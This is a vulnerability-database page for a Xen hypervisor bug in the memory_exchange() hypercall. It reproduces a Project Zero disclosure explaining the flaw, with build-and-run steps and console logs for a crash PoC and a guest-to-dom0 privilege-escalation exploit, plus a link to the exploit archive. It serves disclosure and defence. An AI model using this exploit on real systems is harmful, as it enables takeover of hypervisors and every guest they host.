Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-129 |
Improper Validation of Array Index
The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
8.2 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 41870
Publication date : 2017-04-10 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1184
This bug report describes a vulnerability in memory_exchange() that
permits PV guest kernels to write to an arbitrary virtual address with
hypervisor privileges. The vulnerability was introduced through a
broken fix for CVE-2012-5513 / XSA-29.
The fix for CVE-2012-5513 / XSA-29 introduced the following check in
the memory_exchange() hypercall handler:
if ( !guest_handle_okay(exch.in.extent_start, exch.in.nr_extents) ||
!guest_handle_okay(exch.out.extent_start, exch.out.nr_extents) )
{
rc = -EFAULT;
goto fail_early;
}
guest_handle_okay() calls array_access_ok(), which calls access_ok(),
which is implemented as follows:
/*
* Valid if in +ve half of 48-bit address space, or above
* Xen-reserved area.
* This is also valid for range checks (addr, addr+size). As long
* as the start address is outside the Xen-reserved area then we
* will access a non-canonical address (and thus fault) before
* ever reaching VIRT_START.
*/
#define __addr_ok(addr) \
(((unsigned long)(addr) < (1UL<<47)) || \
((unsigned long)(addr) >= HYPERVISOR_VIRT_END))
#define access_ok(addr, size) \
(__addr_ok(addr) || is_compat_arg_xlat_range(addr, size))
As the comment states, access_ok() only checks the address, not the
size, if the address points to guest memory, based on the assumption
that any caller of access_ok() will access guest memory linearly,
starting at the supplied address. Callers that want to access a
subrange of the memory referenced by a guest handle are supposed to
use guest_handle_subrange_okay(), which takes an additional start
offset parameter, instead of guest_handle_okay().
memory_exchange() uses guest_handle_okay(), but only accesses the
guest memory arrays referenced by exch.in.extent_start and
exch.out.extent_start starting at exch.nr_exchanged, a 64-bit offset.
The intent behind exch.nr_exchanged is that guests always set it to 0
and nonzero values are only set when a hypercall has to be restarted
because of preemption, but this isn't enforced.
Therefore, by invoking this hypercall with crafted arguments, it is
possible to write to an arbitrary memory location that is encoded as
exch.out.extent_start + 8 * exch.nr_exchanged
where exch.out.extent_start points to guest memory and
exch.nr_exchanged is an attacker-chosen 64-bit value.
I have attached a proof of concept. This PoC demonstrates the issue by
overwriting the first 8 bytes of the IDT entry for #PF, causing the
next pagefault to doublefault. To run the PoC, unpack it in a normal
64-bit PV domain and run the following commands in the domain as root:
root@pv-guest:~# cd crashpoc
root@pv-guest:~/crashpoc# make -C /lib/modules/$(uname -r)/build M=$(pwd)
make: Entering directory '/usr/src/linux-headers-4.4.0-66-generic'
LD /root/crashpoc/built-in.o
CC [M] /root/crashpoc/module.o
nasm -f elf64 -o /root/crashpoc/native.o /root/crashpoc/native.asm
LD [M] /root/crashpoc/test.o
Building modules, stage 2.
MODPOST 1 modules
WARNING: could not find /root/crashpoc/.native.o.cmd for /root/crashpoc/native.o
CC /root/crashpoc/test.mod.o
LD [M] /root/crashpoc/test.ko
make: Leaving directory '/usr/src/linux-headers-4.4.0-66-generic'
root@pv-guest:~/crashpoc# insmod test.ko
root@pv-guest:~/crashpoc# rmmod test
The machine on which I tested the PoC was running Xen 4.6.0-1ubuntu4
(from Ubuntu 16.04.2). Executing the PoC caused the following console
output:
(XEN) *** DOUBLE FAULT ***
(XEN) ----[ Xen-4.6.0 x86_64 debug=n Tainted: C ]----
(XEN) CPU: 0
(XEN) RIP: e033:[<0000557b46f56860>] 0000557b46f56860
(XEN) RFLAGS: 0000000000010202 CONTEXT: hypervisor
(XEN) rax: 00007fffe9cfafd0 rbx: 00007fffe9cfd160 rcx: 0000557b47ebd040
(XEN) rdx: 0000000000000001 rsi: 0000000000000004 rdi: 0000557b47ec52e0
(XEN) rbp: 00007fffe9cfd158 rsp: 00007fffe9cfaf30 r8: 0000557b46f7df00
(XEN) r9: 0000557b46f7dec0 r10: 0000557b46f7df00 r11: 0000557b47ec5878
(XEN) r12: 0000557b47ebd040 r13: 00007fffe9cfb0c0 r14: 0000557b47ec52e0
(XEN) r15: 0000557b47ed5e70 cr0: 0000000080050033 cr4: 00000000001506a0
(XEN) cr3: 0000000098e2e000 cr2: 00007fffe9cfaf93
(XEN) ds: 0000 es: 0000 fs: 0000 gs: 0000 ss: e02b cs: e033
(XEN)
(XEN) ****************************************
(XEN) Panic on CPU 0:
(XEN) DOUBLE FAULT -- system shutdown
(XEN) ****************************************
(XEN)
(XEN) Reboot in five seconds...
I strongly recommend changing the semantics of access_ok() so that it
guarantees that any access to an address inside the specified range is
valid. Alternatively, add some prefix, e.g. "UNSAFE_", to the names of
access_ok() and appropriate wrappers to prevent people from using
these functions improperly. Currently, in my opinion, the function
name access_ok() is misleading.
Proof of Concept: xen_memory_exchange_crashpoc.tar
################################################################################
I have written an exploit (attached).
Usage (in an unprivileged PV guest with kernel headers, gcc, make, nasm and hexdump):
root@pv-guest:~/privesc_poc# ./compile.sh
make: Entering directory '/usr/src/linux-headers-4.4.0-66-generic'
LD /root/privesc_poc/built-in.o
CC [M] /root/privesc_poc/module.o
nasm -f elf64 -o /root/privesc_poc/native.o /root/privesc_poc/native.asm
LD [M] /root/privesc_poc/test.o
Building modules, stage 2.
MODPOST 1 modules
WARNING: could not find /root/privesc_poc/.native.o.cmd for /root/privesc_poc/native.o
CC /root/privesc_poc/test.mod.o
LD [M] /root/privesc_poc/test.ko
make: Leaving directory '/usr/src/linux-headers-4.4.0-66-generic'
root@pv-guest:~/privesc_poc# ./attack 'id > /tmp/owned_by_the_guest'
press enter to continue
<press enter>
root@pv-guest:~/privesc_poc#
dmesg in the unprivileged PV guest:
[ 721.413415] call_int_85 at 0xffffffffc0075a90
[ 721.420167] backstop_85_handler at 0xffffffffc0075a93
[ 722.801566] PML4 at ffff880002fe3000
[ 722.808216] PML4 entry: 0x13bba4067
[ 722.816161] ### trying to write crafted PUD entry...
[ 722.824178] ### writing byte 0
[ 722.832193] write_byte_hyper(ffff88007a491008, 0x7)
[ 722.840254] write_byte_hyper successful
[ 722.848234] ### writing byte 1
[ 722.856170] write_byte_hyper(ffff88007a491009, 0x80)
[ 722.864219] write_byte_hyper successful
[ 722.872241] ### writing byte 2
[ 722.880215] write_byte_hyper(ffff88007a49100a, 0x35)
[ 722.889014] write_byte_hyper successful
[ 722.896232] ### writing byte 3
[ 722.904265] write_byte_hyper(ffff88007a49100b, 0x6)
[ 722.912599] write_byte_hyper successful
[ 722.920246] ### writing byte 4
[ 722.928270] write_byte_hyper(ffff88007a49100c, 0x0)
[ 722.938554] write_byte_hyper successful
[ 722.944231] ### writing byte 5
[ 722.952239] write_byte_hyper(ffff88007a49100d, 0x0)
[ 722.961769] write_byte_hyper successful
[ 722.968221] ### writing byte 6
[ 722.976219] write_byte_hyper(ffff88007a49100e, 0x0)
[ 722.984319] write_byte_hyper successful
[ 722.992233] ### writing byte 7
[ 723.000234] write_byte_hyper(ffff88007a49100f, 0x0)
[ 723.008341] write_byte_hyper successful
[ 723.016254] ### writing byte 8
[ 723.024357] write_byte_hyper(ffff88007a491010, 0x0)
[ 723.032254] write_byte_hyper successful
[ 723.040236] ### crafted PUD entry written
[ 723.048199] dummy
[ 723.056199] going to link PMD into target PUD
[ 723.064238] linked PMD into target PUD
[ 723.072206] going to unlink mapping via userspace PUD
[ 723.080230] mapping unlink done
[ 723.088251] copying HV and user shellcode...
[ 723.096283] copied HV and user shellcode
[ 723.104270] int 0x85 returned 0x7331
[ 723.112237] remapping paddr 0x13bb86000 to vaddr 0xffff88000355a800
[ 723.120192] IDT entry for 0x80 should be at 0xffff83013bb86800
[ 723.128226] remapped IDT entry for 0x80 to 0xffff804000100800
[ 723.136260] IDT entry for 0x80: addr=0xffff82d08022a3d0, selector=0xe008, ist=0x0, p=1, dpl=3, s=0, type=15
[ 723.144291] int 0x85 returned 0x1337
[ 723.152235] === END ===
The supplied shell command executes in dom0 (and all other 64bit PV domains):
root@ubuntu:~# cat /tmp/owned_by_the_guest
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~#
Note that the exploit doesn't clean up after itself - shutting down the attacking domain will panic the hypervisor.
I have tested the exploit in the following configurations:
configuration 1:
running inside VMware Workstation
Xen version "Xen version 4.6.0 (Ubuntu 4.6.0-1ubuntu4.3)"
dom0: Ubuntu 16.04.2, Linux 4.8.0-41-generic #44~16.04.1-Ubuntu
unprivileged guest: Ubuntu 16.04.2, Linux 4.4.0-66-generic #87-Ubuntu
configuration 2:
running on a physical machine with Qubes OS 3.1 installed
Xen version 4.6.3
Proof of Concept: privesc_poc.tar.gz
################################################################################
Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41870.zip
Products Mentioned
Configuraton 0
Xen>>Xen >> Version -
References
